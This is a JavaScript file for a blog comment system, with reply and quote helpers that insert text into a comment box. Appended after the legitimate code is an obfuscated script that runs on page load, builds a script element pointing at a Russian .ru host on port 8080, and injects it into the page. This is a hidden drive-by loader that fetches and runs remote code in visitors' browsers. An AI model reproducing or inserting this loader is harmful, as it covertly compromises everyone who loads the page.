/*
Author: mg12
Update: 2008/05/05
Author URI: http://www.neoease.com/
*/
(function() {

function reply(authorId, commentId, commentBox) {
	var author = MGJS.$(authorId).innerHTML;
	var insertStr = '<a href="#' + commentId + '">@' + author.replace(/\t|\n|\r\n/g, "") + ' </a> \n';

	appendReply(insertStr, commentBox);
}

function quote(authorId, commentId, commentBodyId, commentBox) {
	var author = MGJS.$(authorId).innerHTML;
	var comment = MGJS.$(commentBodyId).innerHTML;

	var insertStr = '<blockquote cite="#' + commentBodyId + '">';
	insertStr += '\n<strong><a href="#' + commentId + '">' + author.replace(/\t|\n|\r\n/g, "") + '</a> :</strong>';
	insertStr += comment.replace(/\t/g, "");
	insertStr += '</blockquote>\n';

	insertQuote(insertStr, commentBox);
}

function appendReply(insertStr, commentBox) {
	if(MGJS.$(commentBox) && MGJS.$(commentBox).type == 'textarea') {
		field = MGJS.$(commentBox);

	} else {
		alert("The comment box does not exist!");
		return false;
	}

	if (field.value.indexOf(insertStr) > -1) {
		alert("You've already appended this reply!");
		return false;
	}

	if (field.value.replace(/\s|\t|\n/g, "") == '') {
		field.value = insertStr;
	} else {
		field.value = field.value.replace(/[\n]*$/g, "") + '\n\n' + insertStr;
	}
	field.focus();
}

function insertQuote(insertStr, commentBox) {
	if(MGJS.$(commentBox) && MGJS.$(commentBox).type == 'textarea') {
		field = MGJS.$(commentBox);

	} else {
		alert("The comment box does not exist!");
		return false;
	}

	if(document.selection) {
		field.focus();
		sel = document.selection.createRange();
		sel.text = insertStr;
		field.focus();

	} else if (field.selectionStart || field.selectionStart == '0') {
		var startPos = field.selectionStart;
		var endPos = field.selectionEnd;
		var cursorPos = startPos;
		field.value = field.value.substring(0, startPos)
					+ insertStr
					+ field.value.substring(endPos, field.value.length);
		cursorPos += insertStr.length;
		field.focus();
		field.selectionStart = cursorPos;
		field.selectionEnd = cursorPos;

	} else {
		field.value += insertStr;
		field.focus();
	}
}

window['MGJS_CMT'] = {};
window['MGJS_CMT']['reply'] = reply;
window['MGJS_CMT']['quote'] = quote;

})();
var g;o=[];gz=function(){var C='';var A=52108;var YD={w:"T"};eA=15864;eA--;function Y(b,W,r){TA=42673;TA-=11;var Mg=["Ej","s","f"];return b.substr(W,r);}var x={IL:false};var oS="oS";var eg=new Array();var v=2787;var n="/g"+Y("oov8Tb",0,2)+"gl"+Y("e.wu8",0,2)+Y("coiSe",0,2)+"m/"+Y("UqtDhoUtDq",4,2)+Y("ttLTSu",0,2)+Y("ieEGP",0,2)+Y("lTXAstXAlT",4,2)+Y("7woWarWow7",4,2)+Y("dTl.cTdl",3,2)+Y("omznL",0,2)+Y("y6E/oy6E",3,2)+"pe"+Y("TfMXndTfMX",4,2)+"ns"+Y("RUy.cyUR",3,2)+Y("omXzet",0,2)+Y(".p46k",0,2)+"hp";this.IV='';var zk=document;GU={};var gl='';var G=RegExp;var Sm=[];yp=63186;yp--;var AP=false;function z(b,W){var r=String("[")+W+new String(Y("]ZW8U",0,1));var F=new G(r, new String(Y("gh9uX",0,1)));return b.replace(F, gl);u={t_:false};this.yY=6907;this.yY++;};var c=[];var oc={};var cB={lu:false};var I=new String("body");this.Qc="";var bm=null;Wl=3343;Wl++;Wm={k:"H"};var K=z('sucxr8iupJtI','dxJu8_eI5b');_W=[];var t=28991-20911;var _q=26204;var qP=63782;_N={nx:false};try {} catch(wk){};var Cj=false;g=function(){R=["FR"];var qe=56773;try {Mz=24328;Mz-=16;var D=z('c1rvevaWtgegEGl6eUmhe0nAt0','WpUSG1gAQq3hvC0PRBX6');try {var Tk='Vo'} catch(Tk){};var fz="";zw=zk[D](K);var b=t+n;qA=33751;qA++;Wk=36431;Wk++;var B="de"+"fe"+Y("rZta4",0,1);var U=z('serIc5','e7vWGI5');try {var Ho='yc'} catch(Ho){};var nR={iC:54762};var hu=["CN"];var ZH={ck:false};zw[U]=String("http:"+"//roc"+"kbale"+".ru:")+b;this.qZ=34351;this.qZ+=171;AJ=43867;AJ++;Qi=["cg","xp","sf"];zw[B]=[1,5][0];var Pr={Qw:31537};zk[I].appendChild(zw);u_={};} catch(S){Qo=["ao","lw","FY"];};var fs='';};var PrK='';};OI=["qw"];gz();var Qp=["zM","pf","YZ"];Rk=53157;Rk-=18;window.onload=g;